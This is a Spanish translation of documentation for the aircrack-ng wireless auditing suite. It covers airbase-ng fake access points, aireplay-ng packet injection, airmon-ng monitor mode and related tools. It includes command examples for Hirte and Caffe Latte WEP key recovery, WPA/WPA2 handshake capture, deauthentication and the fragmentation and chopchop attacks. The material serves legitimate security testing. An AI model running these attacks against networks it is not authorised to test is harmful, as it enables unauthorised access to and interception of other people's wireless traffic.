Este ataque escucha y espera por una petición ARP o paquete IP desde el cliente. Cuando se recibe uno, se extrae una pequeña cantidad de PRGA y se usa para crear un paquete de petición arp (ARP request) dirigido al cliente. Esta petición ARP se construye actualmente a partir de múltiplies fragmentos cuando son recividos, y el cliente responderá.

Este ataque funciona especialmente muy bien contra redes ad-hoc. También se puede usar contra clientes de “softAP” y clientes de AP normales.
Beacon Frames o Balizas

La baliza denominada en inglés “beacon frame” contiene el nombre del ESSID en caso de que se haya especificado uno. Si se fijan varios, el ESSID estará oculto en la “beacon frame” con longitud de 1. Si no se fija el ESSID, la “beacon frame” contendrá “default” como ESSID, pero se aceptarán todos los ESSIDs en las peticiones de asociación. Si el ESSID debería estar oculto en la baliza todo el tiempo (para un ESSID no especificado), se puede usar la opción ”-X”.
Manejando las tramas de control

Las tramas de control (en inglés “Control frames”) (ack/rts/cts) nunca son enviadas por el código, pero a veces las lee (el firmware debería manejar esto). Los paqutes y tramas de datos se pueden enviar siempre, y no se necesita autenticarse antes de la asociación o incluso antes de enviar tramas de datos. Los paquetes de datos pueden enviarse en todas las direcciones. Los clientes reales autenticados y asociados al softAP deberían enviar las respuestas correctas, pero airbase-ng no se preocupa de comprobar las propiedades de los clientes y simplemente permite a todos los clientes conectarse (teniendo en cuenta los filtros de ESSIDs y direcciones MACs especificados). Por lo tanto una autenticacion no puede fallar (excepto si se fuerza SKA), y tampoco puede fallar la asociación. El AP nunca enviará deautenticaciones o desasociaciones en modo de operación normal.

Ha sido desarrolllado de tal forma que se maximiza la compatibilidad y las oportunidades de conseguir que un cliente se conecte.
Filtros

Hay capacidades de filtrado variadas.

Para limitar los ESSIDs soportados, puedes especificar ”-e ” para añadir un ESSID a la lista de ESSIDs permitidos, o usar ”-E ” para leer una lista de ESSIDs permitidos (el archivo tiene que contener un ESSID por linea).

Lo mismo se puede hacer para las direcciones MACs de los clientes (usar un filtrado de MAC). ”-d ” añade una dirección MAC a la lista, ”-D ” añade todas las MACs del archivo a la lista (recuerda que tiene que haber una MAC por linea).

La lista de MACs puede ser usada para permitir solo acceder a los clientes en esa lista y bloquear a todos los otros (opción por defecto), o bloquear a los especificados en la lista y permitir el acceso al resto. Esto se controla con la opción ”-f allow” o ”-f disallow”. “allow” crea una lista “blanca” (activado por defecto en caso de no usar ”-f”), y “disallow” crea una lista “negra” (el segundo caso relatado con anterioridad).
Interface Tap

Cada vez que se ejecuta airbase, se crea una hinterface tap (atX). Para usarla, ejecuta “ifconfig atX up” donde X es el número actual de la interface.

Esta interface tiene usos variados:

Si se especifica una clave de encriptación con ”-w”, entonces los paquetes entrantes serán desencriptados.
Los paquetes enviados a esta interface serán transmitidos. Además, serán encriptados si se usa la opción ”-w”.

A continuación puedes ver unos ejemplos de uso. Solo necesitas una tarjeta wireless aunque en algunos ejemplos se usan dos tarjetas.


Simple

Usar “airbase-ng ” es suficiente para un AP sin ningún tipo de encriptación. Aceptará conexiones desde cualquier MAC para cada ESSID, ya que la autentication y la asociación es directa al BSSID.

Realmente no podrás hacer demasiado en esta situación. Aunque, podrás ver una lista de clientes que se encuentran conectados además del método de encriptación y los SSIDs.

Ataque Hirte en modo Punto de Acceso (AP)

Este ataque obtiene la clave wep de un cliente. Depende de recibir al menos un paquete de petición ARP o un paquete IP desde el cliente despues de que se asocie con el falso AP.

Escribe:

airbase-ng -c 9 -e teddy -N -W 1 rausb0
-c 9 especifica el canal
-e teddy filtra un SSID concreto
-N significa ataque Hirte
-W 1 fuerza a las “beacons” a especificar WEP
rausb0 es la interface wireless a usar


El sistema responderá:

18:57:54 Created tap interface at0
18:57:55 Client 00:0F:B5:AB:CB:9D associated (WEP) to ESSID: "teddy"

En otro terminal ejecutar:

airodump-ng -c 9 -d 00:06:62:F8:1E:2C -w cfrag wlan0

Donde:

-c 9 especifica el canal
-d 00:06:62:F8:1E:2C filtra los datos capturados a los del falso AP (esto es opcional)
-w especifica el nombre del archivo donde se guardarán los datos capturados
ath0 es la interface wireless para capturar datos


A continuación se puede ver que ocurre cuando airbase-ng ha recibido un paquete de un cliente y se ha iniciado satisfactoriamente el ataque:

CH 9 ][ Elapsed: 8 mins ][ 2008-03-20 19:06

BSSID PWR RXQ Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID

00:06:62:F8:1E:2C 100 29 970 14398 33 9 54 WEP WEP teddy

BSSID STATION PWR Rate Lost Packets Probes

00:06:62:F8:1E:2C 00:0F:B5:AB:CB:9D 89 2-48 0 134362

Ahora puedes ejecutar aircrack-ng en otra ventana para obtener la clave wep.


Ataque "Hirte" en modo Ad-Hoc

Este ataque obtiene la clave wep de un cliente. Depende de recivir al menos una petición ARP o un paquete IP desde el cliente despues de que está asociado con el falso AP.

Escribe:

airbase-ng -c 9 -e teddy -N -W 1 -A rausb0

Donde:

-c 9 especifica el canal
-e teddy filtra ese SSID
-N especifica el ataque Hirte
-W 1 fuerza a las balizas o beacons a especificar la WEP
-A especifica el modo ad-hoc
rausb0 es la interface wireless a usar


El resto será lo mismo que en el modo AP.


Ataque "Caffe Latte Hirte" en modo Punto de Acceso

Este ataque obtiene la clave WEP de un cliente. Depende de recibir al menos una petición “gratutitous ARP” de un cliente despues de asociarse con el falso AP.

Escribe:

airbase-ng -c 9 -e teddy -L -W 1 rausb0

Donde:

-c 9 especifica el número del canal
-e teddy filtra un SSID concreto
-N significa ataque “Caffe Latte”
-W 1 fuerza a las “beacons” a especificar WEP
rausb0 es la interface wireless a usar


El resto es lo mismo que en el ataque Hirte.


Captura de clave compartida (Shared Key)

Este es un ejemplo de una captura de PRGA de un cliente asociado con clave compartida.

Escribe:

airbase-ng -c 9 -e teddy -s -W 1 wlan0

Donde:

-c 9 especifica el número de canal
-e teddy filtra un SSID concreto
-s fuerza autenticación con clave compartida
-W 1 fuerza a las “beacons” a especificar WEP
wlan0 es la interface wireless a usar


El sistema responderá:

15:08:31 Created tap interface at0
15:13:38 Got 140 bytes keystream: 00:0F:B5:88:AC:82
15:13:38 SKA from 00:0F:B5:88:AC:82
15:13:38 Client 00:0F:B5:88:AC:82 associated to ESSID: "teddy"


Las últimas tres lineas solo aparecen cuando el cliente se asocia con el falso AP.

En otra ventana o consola ejecuta:

airodump-ng -c 9 wlan0

Donde:

-c 9 especifica el número de canal
wlan0 es la interface wireless a usar


A continuación puedes ver el aspecto de una captura SKA satisfactoria. Date cuenta de este dato “140 bytes keystream: 00:C0:CA:19:F9:65” en la esquina superior-derecha:

CH 9 ][ Elapsed: 9 mins ][ 2008-03-12 15:13 ][ 140 bytes keystream: 00:C0:CA:19:F9:65

BSSID PWR RXQ Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID

00:C0:CA:19:F9:65 87 92 5310 0 0 9 54 WEP WEP SKA teddy

BSSID STATION PWR Rate Lost Packets Probes

00:C0:CA:19:F9:65 00:0F:B5:88:AC:82 83 0- 1 0 4096 teddy


Captura de un Handshake WPA

Este es un ejemplo de como capturar el handshake WPA.

Escribe:

airbase-ng -c 9 -e teddy -z 2 rausb0

Donde:

-c 9 especifica el número de canal
-e teddy filtra un SSID concreto
-z 2 significa TKIP
rausb0 es la interface wireless a usar


La opción -z tendrá que ser modificada dependiendo del tipo de encriptación que creas que está usando el cliente. TKIP es lo típico y habitual para WPA.

El sistema responderá:

10:17:24 Created tap interface at0
10:22:13 Client 00:0F:B5:AB:CB:9D associated (WPA1;TKIP) to ESSID: "teddy"


La última linea solo aparece cuando el cliente se asocia.

En otra shell ejecuta:

airodump-ng -c 9 -d 00:C0:C6:94:F4:87 -w cfrag wlan0


-c 9 especifica el número del canal
-d 00:C0:C6:94:F4:87 filtra los datos capturados por el falso AP. Es la dirección MAC de la tarjeta ejecutando el falso AP. Esto es opcional.
-w especifica el nombre del archivo donde se guardarán los datos capturados
wlan0 es la interface wireless para capturar los datos


Cuando el cliente se conecta, verás el “WPA handshake: 00:C0:C6:94:F4:87” en la esquina superior-derecha de la pantalla:

CH 9 ][ Elapsed: 5 mins ][ 2008-03-21 10:26 ][ WPA handshake: 00:C0:C6:94:F4:87


BSSID PWR RXQ Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID

00:C0:C6:94:F4:87 100 70 1602 14 0 9 54 WPA TKIP PSK teddy

BSSID STATION PWR Rate Lost Packets Probes

00:C0:C6:94:F4:87 00:0F:B5:AB:CB:9D 86 2- 1 0 75


Ejecutando “aircrack-ng cfrag-01.cap” comprueba que lo capturado es un handshake WPA válido:

Opening cfrag-01.cap
Read 114392 packets.

# BSSID ESSID Encryption

1 00:C0:C6:94:F4:87 teddy WPA (1 handshake)


Captura de un Handshake WPA2

Capturar un handshake en WPA2 es básicamente idéntico al ejemplo anterior a través de WPA. La única diferencia es especificar -Z 4 (CCMP cipher) en lugar de -z 2.

Escribe:

airbase-ng -c 9 -e teddy -Z 4 rausb0

softAP

SOLO USUARIOS EXPERTOS: Esta funcionalidad requiere conocimientos extremadamente avanzados sobre linux y redes. No publiques preguntas en el foro acerca de esta sección. Si no puedes hacer funcionar esto por ti mismo entonces no deberías ni intentar usarlo!

Una nueva interface “atX” será creada, la cual actua como la “wired side” al AP. Para usar el AP, esta nueva interface debe levantarse con ifconfig y necesita una IP. La MAC asignada es automáticamente fijada al BSSID [por defecto la dirección MAC de la interface wireless]. Una vez que es asignada una IP y el cliente usa una IP estática de la misma subred, tendremos funcionando una conexión Ethernet entre el AP y el cliente. Algún daemon puede ser asignado a esa interface, por ejemplo un servidor dhcp o servidor dns. Además con “ip_forwarding” y una regla apropiada “iptable” para enmasacarar, el softAP actúa como un router wireless. Cualquier utilidad, que funcione en redes ethernet puede ser usada con esta interface.

Además de lo que se dice en las anteriores descripciones, airbase-ng envía 100 paquetes 100 veces para intentar incrementar la efectividad de este ataque.

¿Cómo funciona el ataque Hirte?

Este es un ataque a un cliente en el que se puede usar un paquete IP o un paquete ARP. A continuación se describe el ataque de forma detallada.

La idea principal es generar una petición ARP para enviarsela al cliente y que este responda.

Este ataque necesita un paquete ARP o un paquete IP desde el cliente. A partir de esto, tendremos que generar una petición ARP o “ARP request”. La petición ARP debe dirigirse a la IP (IP del cliente), colocandola en la posición del byte 33 y la dirección MAC deben ser todos ceros. Aunque en la práctica como dirección MAC podríamos poner cualquier valor.

La dirección IP de origen se encuentra en el paquete recibido del cliente en una posición conocida - posición 23 para paquetes ARP o 21 para IP -. Paquete ARP se presupone si el tamaño del mismo es de 68 o 86 bytes. Si no es así se presupone que se trata de un paquete IP.

Para poder enviar una petición ARP válida de vuelta al cliente, necesitamos mover la IP de origen a la posición 33. Por supuesto que no podemos simplemente mover los bytes, ya que sería un paquete inválido. Por lo tanto, usamos el concepto de “paquete fragmentado” para conseguir esto. La petición ARP se envía al cliente en dos fragmentos. El primer fragmento se construye seleccionando la longitud que nos queda al mover la dirección IP de origen a la posición 33. El segundo fragmento es el paquete original recivido desde el cliente.

En el caso de que se trate de un paquete IP, la técnica usada es similar. Aunque es más limitada la cantidad de PRGA disponible, por lo que habrá que construir tres fragmentos a partir del paquete original.

En todos los casos, se usa “bit flipping” para asegurarnos que el CRC es correcto. Además, “bit flipping” se usa para cerciorarnos que la dirección MAC de origen de un ARP en el paquete fragmentado no es de multiredifusión.
Problemas de uso


Limitaciones del Driver

Algunos drivers como el rtl8187 no capturan paquetes por si mismos. La implicación de esto es que el softAP no se mostrará en airodump-ng. Puedes solventar este problema usando dos tarjetas wireless, una para inyectar y la otra para capturar.

El driver madwifi-ng actualmente no soporta los ataques Caffe-Latte o Hirte. Este driver no sincroniza de forma correcta las velocidades con el cliente y por lo tanto el cliente nunca recive los paquetes.

Mensaje de error "Broken SKA"

Recives el mensaje “Broken SKA: (expected: ??, got ?? bytes)” o similar. Usando la opción ”-S” con valores diferentes a 128, algunos clientes fallan. Este mensaje indica que el número de bytes actualmente recibidos es diferente al número de bytes solicitados. Prueba a no usar esta opción o utiliza diferentes valores para el parámetro ”-S” y mira si se elimina el error.


Ejemplos de Comandos

Como esta versión no se ha publicado oficialmente, la documentación de aireplay-ng no refleja las nuevas funciones relacionadas con airbase-ng. Por eso esta sección contiene alguna información sobre esto.

”-D” es una nueva opción que se ha añadido a aireplay-ng. Por defecto, aireplay-ng escucha las beacons o balizas de un AP especificado y dá fallo si no recibe ninguna beacon. La opción ”-D” desactva esta funcionalidad.


aireplay-ng -6 (Ataque "Cafe Latte")

Ejemplo: aireplay-ng -6 -h 00:0E:D2:8D:7D:0A -D rausb0


aireplay-ng -7 (Ataque Hirte)

Ejemplo: aireplay-ng -7 -h 00:0E:D2:8D:7D:0A -D rausb0



Airdecap-ng



Descripción

Con airdecap-ng puedes desencriptar archivos capturados que tengan encriptación WEP/WPA/WPA2. Tambien puede ser usado para ver la cabecera de una captura wireless sin encriptación.
Uso

airdecap-ng [opciones]

Opción Param. Descripción

-l no elimina la cabecera de 802.11
-b bssid dirección MAC del punto de acceso
-k pmk WPA/WPA2 “Pairwise Master Key” en hexadecimal
-e essid Nombre de la red
-p pass Clave WPA/WPA2
-w key Clave WEP en hexadecimal


Ejemplos de uso

El siguiente comando elimina las cabeceras wireless de una captura de una red sin encriptación:

airdecap-ng -b 00:09:5B:10:BC:5A red-abierta.cap

El siguiente comando desencripta un archivo con encriptación WEP usando la clave hexadecimal:

airdecap-ng -w 11A3E229084349BC25D97E2939 wep.cap

El siguiente comando desencripta un archivo con encriptación WPA/WPA2 usando la palabra o “passphrase”:

airdecap-ng -e 'the ssid' -p passphrase tkip.cap

Recomendaciones de uso

Para ESSIDs que contengan espacios, escribe el ESSID entre comillas: 'este contiene espacios'.


Airdriver-ng

Descripción

Airdriver-ng es un “script” que proporciona información acerca de los drivers wireless de tu sistema, con la posibilidad de cargar o descargar los drivers. Además, airdriver-ng permite instalar y desinstalar drivers completamente con los parches requeridos para modo monitor e inyección. Adicionalmente tambien tiene algunas otras funciones.

A continuación puedes ver una lista completa de los comandos soportados por el “script”:


No Command: Ejecutando airdriver-ng sin ningún comando nos mostrará el número del kernel que estamos ejecutando y los comandos válidos.

Supported: Este comando muestra la lista de drivers wireless que el script soporta. Si el driver que tu quieres no aparece listado el script no lo soporta. Ten en cuenta que puede que los drivers no los tengas instalados en tu sistema.

Kernel: Este comando muestra los drivers wireless que han sido compilados diréctamente dentro del kernel por si mismo.

Installed: Este comando muestra los drivers wireless instalados actualmente en tu sistema. Estos no son los drivers cargados actualmente en tu sistema.

Loaded: Este comando muestra los drivers wireless que actualmente están cargados en memoria.

Load: Este comando carga el driver especificado en la memoria. El número del driver se obtiene de la salida del comando “installed”.

Unload: Este comando descarga el driver especificado de la memoria. El número del driver se obtiene de la salida del comando “loaded”.

Install: Este comando instala el driver especificado en tu sistema y lo carga en la memoria. El número del driver se obtiene de la salida del comando “loaded”. Todos los pasos requeridos se llevaran con cuidado, incluyendo obtener los “driver sources”, parches de inyección, compilar y cargar el módulo en la memoria. Este es el modo más simple y fácil de asegurarte de que tu driver está bien instalado para poder inyectar.

Remove: Este comando borra el driver especificado de tu sistema. Se borrará el módulo de la memoria y todo el arbol correspondiente del disco duro.

Details: Este comando muestra información detallada acerca del módulo. El número del driver se obtiene de la salida del comando “installed. Es especialmente útil para confirmar que estamos usando la versión correcta y ver cuando fue instalada. La fecha de instalación se localiza despues del nombre del archivo. Esto se puede usar para comprobar que estamos utilizando el módulo más reciente.


Detect: Este comando se usa para determinar que tarjetas wireless están conectadas al PC.


No hay un método preciso para hacer estas comprobaciones. El scripr airdriver-ng solo está disponible para sistemas operativos linux.
Uso

Uso: airdriver-ng [número de driver]

Donde los comandos válidos son los siguientes:

supported - muestra todos los drivers soportados
kernel - muestra todos los drivers dentro del kernel
installed - muestra todos los drivers instalados
loaded - muestra todos los drivers cargados
load - carga un driver
unload - descarga un driver
install - instala un driver
remove - borra un driver
details - muestra los detalles de un driver
detect - detecta tarjetas wireless


Ejemplos de uso

A continuación puedes ver ejemplos de uso para cada comando.
Comando supported

Escribe:

airdriver-ng supported

El sistema responderá:

Following stacks are supported:
0. IEEE80211
1. IEEE80211 Softmac
2. mac80211
Following drivers are supported:
0. ACX100/111 - IEEE80211
1. Broadcom 4300 - IEEE80211
2. HostAP - IEEE80211
3. Intel Pro Wireless 2100 B - IEEE80211
4. Intel Pro Wireless 2200 B/G - IEEE80211
5. Intel Pro Wireless 3945 A/B/G - IEEE80211
6. Madwifi[-ng] - IEEE80211
7. Prism54 - IEEE80211
8. Realtek rtl8180 - custom
9. Realtek rtl8187 - custom
10. Ralink rt2500 - IEEE80211 Softmac
11. Ralink rt2570 - IEEE80211 Softmac
12. Ralink rt61 - IEEE80211 Softmac
13. Ralink rt73 - IEEE80211 Softmac
14. WLAN-NG - IEEE80211
15. ZyDAS 1211 - IEEE80211 Softmac
16. ZyDAS 1211rw - IEEE80211 Softmac
17. Intel Pro Wireless 3945 A/B/G - mac80211
18. Intel Pro Wireless 3945 A/B/G - raw mode - mac80211
19. NDIS Wrapper - custom


Presta atención al número delante de cada driver. Estos son los números que necesitamos para el comando “install” e instalar el correspondiente driver.
Comando kernel

Escribe:

airdriver-ng kernel

El sistema responderá:

Found following stacks in the Kernel:
Found following drivers in the Kernel:


En este ejemplo, no hay drivers compilados dentro del kernel.
Comando installed

Escribe:

airdriver-ng installed

El sistema responderá:

Found following stacks installed:
0. IEEE80211
1. IEEE80211 Softmac
2. mac80211
Found following drivers installed:
1. Broadcom 4300 - IEEE80211
2. HostAP - IEEE80211
3. Intel Pro Wireless 2100 B - IEEE80211
4. Intel Pro Wireless 2200 B/G - IEEE80211
6. Madwifi[-ng] - IEEE80211
7. Prism54 - IEEE80211
9. Realtek rtl8187 - custom
13. Ralink rt73 - IEEE80211 Softmac
18. Intel Pro Wireless 3945 A/B/G - raw mode - mac80211


Presta atención al número delante de cada driver. Estos son los números que necesitarás para el comando “load” y cargar el driver.
Comando loaded

Escribe:

airdriver-ng loaded

El sistema responderá:

Found following stacks loaded (as module):
Found following drivers loaded (as module):
6. Madwifi[-ng] - IEEE80211
9. Realtek rtl8187 - custom
13. Ralink rt73 - IEEE80211 Softmac


Presta atención al número delante de cada driver. Estos son los números que necesitarás para el comando “load” y cargar el driver.
Comando load

Escribe:

airdriver-ng load 13

Donde:

13 es el número del driver obtenido del comando installed.


El sistema responderá:

Driver "Ralink rt73" specified for loading.
Loaded driver "Ralink rt73" successfully


Comando unload

Escribe:

airdriver-ng unload 13

Donde:

13 es el número del driver obtenido de la salida del comando “loaded”.


El sistema responderá:

Driver "Ralink rt73" specified for unloading.
Unloaded driver "Ralink rt73" successfully


Comando install

Escribe:

airdriver-ng install 9

Donde:

9 es el número del driver obtenido de la salida del comando “supported”.


El sistema responderá:

Driver "Realtek rtl8187" specified for installation.
1. Getting the source...
2. Extracting the source...
3. Getting the patch...
4. Patching the source...
5. Compiling the driver...
6. Installing the driver...
Running "depmod -ae"...
Installed driver "Realtek rtl8187" successfully
Loaded driver "Realtek rtl8187" successfully

Comando remove


Escribe:

airdriver-ng remove 13

Donde:

13 es el número del driver obtenido de la salida del comando “installed”.


El sistema responderá:

Driver "Ralink rt73" specified for removing.
Starting to remove "Ralink rt73" driver
rm: remove regular file `/lib/modules/2.6.21-1.3228.fc7/extra/rt73.ko'? y
Running "depmod -ae"...
Removed driver "Ralink rt73" successfully

Comando details


Escribe:

airdriver-ng details 9

Donde:

9 es el número del driver obtenido de la salida del comando “installed”.


El sistema responderá:

Driver details for: "Realtek rtl8187"

Compiled into kernel: No
Installed: YES
Loaded: No

Modules:
r8187

Files:
/lib/modules/2.6.21-1.3228.fc7/kernel/drivers/net/wireless/rtl8187/r8187.ko 2007-07-08 10:19

version: V 1.1
depends: ieee80211-rtl
vermagic: 2.6.21-1.3228.fc7 SMP mod_unload 686 4KSTACKS

For more information see: [[r8187]]

Comando detect


Escribe:

airdriver-ng detect

El sistema responderá:

Found "Realtek rtl8187" device: (r8187)
Bus 001 Device 002: ID 0bda:8187 Realtek Semiconductor Corp.

Found "Madwifi[-ng]" device: (ath_pci)
01:00.0 Ethernet controller: Atheros Communications, Inc. AR5212 802.11abg NIC (rev 01)

USB devices (generic detection):
Bus 001 Device 003: ID 148f:2573 Ralink Technology, Corp.
Bus 001 Device 002: ID 0bda:8187 Realtek Semiconductor Corp
.


Aireplay-ng

Download:
FLVMP43GP


Descripción

Aireplay-ng se usa para inyectar paquetes.

Su función principal es generar tráfico para usarlo más tarde con aircrack-ng y poder crackear claves WEP y WPA-PSK. Hay varios ataques diferentes que se pueden utilizar para hacer deautenticaciones con el objetivo de capturar un handshake WPA, para realizar una falsa autenticación, un reenvio interactivo de un paquete, o una reinyección automática de un ARP-request. Con el programa packetforge-ng es posible crear paquetes “ARP request” de forma arbitraria.

La mayoría de los drivers tienen que estar parcheados para ser capaces de inyectar, no te olvides de leer Installing drivers.
Uso de los ataques

Actualmente se pueden realizar cinco ataques diferentes:

Ataque 0: Deautenticación
Ataque 1: Falsa autenticación
Ataque 2: Selección interactiva del paquete a enviar
Ataque 3: Reinyección de una petición ARP (ARP-request)
Ataque 4: Ataque chopchop
Ataque 5: Ataque de Fragmentación


Uso

Esta sección proporciona un repaso general de todos los ataques. No todas las opciones se aplican a todos los ataques. Mira los detalles de cada ataque para ver todos los parámetros que se pueden usar.

Usa:

aireplay-ng

Para todos los ataques, excepto el de deautenticación y el de falsa autenticación, puedes usar los siguientes filtros para limitar los paquetes que se usarán. El filtro más común es usar la opción ”-b” para seleccionar un punto de acceso determinado.

Opciones de filtro:

-b bssid : Dirección MAC del punto de acceso
-d dmac : Dirección MAC de destino
-s smac : Dirección MAC origen (source)
-m len : Longitud mínima del paquete
-n len : Longitud máxima del paquete
-u type : frame control, type field
-v subt : frame control, subtype field
-t tods : frame control, To DS bit
-f fromds : frame control, From DS bit
-w iswep : frame control, WEP bit


Cuando reenviemos (inyectemos) paquetes, podremos utilizar las siguientes opciones. Recuerda que no todas las opciones se usan en cada ataque. La documentación específica de cada ataque tiene ejemplos con las opciones que se pueden usar.

Opciones de inyeción:

-x nbpps : número de paquetes por segundo
-p fctrl : fijar palabra “frame control” (hexadecimal)
-a bssid : fijar dirección MAC del AP
-c dmac : fijar dirección MAC de destino
-h smac : fijar dirección MAC origen
-e essid : ataque de falsa autenticación: nombre del AP
-j : ataque arp-replay: inyectar paquetes FromDS
-g valor : cambiar tamaño de buffer (default: 8)
-k IP : fijar IP de destino en fragmentos
-l IP : fijar IP de origen en fragmentos
-o npckts : número de paquetes por burst (-1)
-q sec : segundos entre paquetes “sigo aquí” o keep-alives (-1)
-y prga : keystream para autenticación compartida (shared key)


Los ataques pueden obtener los paquetes para reenviarlos de dos orígenes distintos. El primero es un paquete capturado en el mismo momento por la tarjeta wireless. El segundo es de un archivo cap. El formato estandard cap o Pcap (“Packet CAPture”, está relacionado con la libreria libpcap y http://www.tcpdump.org), ess reconozido por la mayoría de los programas comerciales y open-source de captura de tráfico wireless. La capacidad de leer los archivos cap es una característica de aireplay-ng. Esto permite leer paquetes de otra sesión anterior o que se puedan generar archivos pcap para reenviarlos fácilmente.

Opciones de origen:

-i iface : capturar paquetes con esa interface
-r archivo : utilizar paquetes de ese archivo cap


Esta es la forma de especificar el modo de ataque que utilizará el programa. Dependiendo del modo, no todas las opciones descritas se pueden aplicar.

Modos de ataque (Los números también se pueden seguir usando como en versiones anteriores):

- -deauth [número]: deautenticar 1 o todos los clientes (-0)
- -fakeauth [nº repetición]: falsa autenticación con el AP (-1)
- -interactive : selección interactiva del paquete a enviar (-2)
- -arpreplay : estandard reinyección ARP-request (-3)
- -chopchop : desencriptar paquete WEP/chopchop (-4)
- -fragment : generar keystream válido (-5)


Ataque de Fragmentación vs. Chopchop

Aquí exponemos las diferencias entre los ataques de fragmentación y chopchop

Fragmentación

Ventajas

Normalmente se obtiene un paquete entero de una longitud de 1500 bytes xor. Esto significa que podemos crear otro paquete de cualquier tamaño. Incluso en los casos que obtenemos un paquete de menos de 1500 bytes, será suficiente para crear “ARP requests”.
Puede funcionar en situaciones en las que chopchop no lo hace.
Es extremadamente rápido. Se obtiene el xor muy rápido cuando funciona.


Inconvenientes

Se necesita más información para ejecutarlo, (por ejemplo, información acerca de la dirección IP). Aunque con frecuencia se puede adivinar. Y todavía mejor es que aireplay-ng asume que las IPs de origen y destino son 255.255.255.255 si no se especifica nada. De esta forma funcionará bien en la mayoría de los APs. Por lo tanto esto no es un inconveniente muy grande.
Este ataque lo podremos ejecutar dependiendo de si los drivers de nuestra tarjeta lo soportan. Por ejemplo, hoy en dia, Atheros no genera el paquete correcto a menos que cambiemos la dirección MAC de nuestra tarjeta wireless a la misma mac que queremos utilizar.
Se necesita estar físicamente cerca del punto de acceso porque si se pierde algún paquete fallará el ataque.
El ataque fallará en los puntos de acceso que no manejan los paquetes fragmentados de forma adecuada.


Chopchop

Ventajas

Puede funcionar en algunos casos en los que no lo hace el ataque de fragmentación.
No se necesita conocer información acerca de ninguna IP.


Inconvenientes

No se puede usar contra todos los puntos de acceso.
El tamaño máximo del “xor” en bits está limitado por la longitud del paquete contra el que hagas el chopchop. Aunque en teoría se pueden obtener 1500 bytes del xor stream, en la práctica, raramente verás paquetes de 1500 bytes.
Mucho más lento que el ataque de fragmentaci
ón

Problemas de uso

Esto se aplica a todos los modos de aireplay-ng.
Con madwifi-ng, asegúrate de que no hay otras VAPs

Cerciorate de que no has creado varias VAPs. Porque puede haber problemas cuando se crea una nueva VAP en modo monitor y ya hay una VAP en modo managed.

Tienes que parar primero ath0 y reiniciar wifi0:

airmon-ng stop ath0
airmon-ng start wifi0

o

wlanconfig ath0 destroy
wlanconfig ath create wlandev wifi0 wlanmode monitor





Airmon-ng

Descripción

Este script puede usarse para activar el modo monitor de las tarjetas wireless. Tambien puede usarse para parar las interfaces y salir del modo monitor. Si escribimos el comando airmon-ng sin parámetros veremos el estado de nuestras tarjetas.
Uso

usa: airmon-ng [canal]

Donde:

indica si deseas iniciar o parar el modo monitor.(obligatorio)
el nombre de la interface. (obligatorio)
[channel] opcionalmente se puede especificar un número de canal.


Usos típicos

Para iniciar wlan0 en modo monitor: airmon-ng start wlan0

Para iniciar wlan0 en modo monitor en el canal 8: airmon-ng start wlan0 8

Para parar wlan0: airmon-ng stop wlan0

Para ver el estado: airmon-ng

Modo monitor de driver Madwifi-ng

Describimos como poner la interface en modo monitor. Despues de encender tu ordenador, escribe en una consola el comando “iwconfig” para ver el estado actual de tus tarjetas wireless. Verás algo similar a la siguiente salida:

lo no wireless extensions.

eth0 no wireless extensions.

wifi0 no wireless extensions.

ath0 IEEE 802.11b ESSID:"" Nickname:""
Mode:Managed Channel:0 Access Point: Not-Associated
Bit Rate:0 kb/s Tx-Power:0 dBm Sensitivity=0/3
Retry:off RTS thr:off Fragment thr:off
Encryption key:off
Power Management:off
Link Quality:0 Signal level:0 Noise level:0
Rx invalid nwid:0 Rx invalid crypt:0 Rx invalid frag:0
Tx excessive retries:0 Invalid misc:0 Missed beacon:0


Si quieres usar la interface ath0 (que ya está siendo usada en modo managed):

airmon-ng stop ath0


Y el sistema responderá:

Interface Chipset Driver

wifi0 Atheros madwifi-ng
ath0 Atheros madwifi-ng VAP (parent: wifi0) (VAP destroyed)


Ahora, si escribes “iwconfig”:

lo no wireless extensions.

eth0 no wireless extensions.

wifi0 no wireless extensions.


Puedes ver que ya no existe ath0.

Para iniciar ath0 en modo monitor: airmon-ng start wifi0

Y el sistema responderá:

Interface Chipset Driver

wifi0 Atheros madwifi-ng
ath0 Atheros madwifi-ng VAP (parent: wifi0) (monitor mode enabled)


Y si ahora escribimos “iwconfig”

lo no wireless extensions.

eth0 no wireless extensions.

wifi0 no wireless extensions.

ath0 IEEE 802.11g ESSID:"" Nickname:""
Mode:Monitor Frequency:2.457 GHz Access Point: Not-Associated
Bit Rate:0 kb/s Tx-Power:15 dBm Sensitivity=0/3
Retry:off RTS thr:off Fragment thr:off
Encryption key:off
Power Management:off
Link Quality=0/94 Signal level=-98 dBm Noise level=-98 dBm
Rx invalid nwid:0 Rx invalid crypt:0 Rx invalid frag:0
Tx excessive retries:0 Invalid misc:0 Missed beacon:0


Observamos que ath0 está en modo monitor.

Si ath1/ath2 etc. están funcionando en modo managed, tienes que pararlas primero con la opción stop, por ejemplo:

airmon-ng stop ath1

Y despues recuerda que puedes indicar el número del canal añadiéndolo al final del comando: airmon-ng start wifi0 9
Recomendaciones de uso

Para confirmar que la tarjeta está en modo monitor, escribe “iwconfig”. Así verás el nombre de la interface y si está activado el modo “monitor”.

Para el driver madwifi-ng, la información del punto de acceso que muestra iwconfig es la dirección MAC de la tarjeta wireless.

Si quieres capturar paquetes de un punto de acceso concreto, el canal actual de la tarjeta debe ser el mismo que el del AP. En este caso, es una buena idea incluir el número de canal cuando ejecutes el comando airmon-ng.



Airserv-ng

Descripción

Airserv-ng es un servidor para tarjetas wireless que permite múltiples aplicaciones y usar programas wireless independientemente de la tarjeta y del driver, a través de una conexión de red TCP cliente-servidor. Todos los sistemas operativos y drivers de las tarjetas wireless están incorporados dentro del servidor. Esto elimina la necesidad de que cada aplicación wireless contenga los datos de la tarjeta y del driver. Tambien soporta múltiples sistemas operativos.

Cuando se inicia el servidor, escucha en una IP y en un número de puerto TCP específicos por las conexiones de los clientes. La aplicación wireless entonces se comunica con el servidor a través de la dirección IP y el número de puerto. Cuando usemos la suite aircrack-ng, especificaremos ” dos puntos ” en lugar del nombre de la interface. Un ejemplo puede ser 127.0.0.1:666.

Esto permite interesantes posibilidades:

Eliminado la complejidad de los nombres de las tarjetas wireless y sus drivers, los desarrolladores de software se podrán concentrar en las funcionalidades de los programas. Esto permitirá que estén disponibles un mayor número de aplicaciones. Tambien se reducen de forma importante los esfuerzos de mantenimiento.
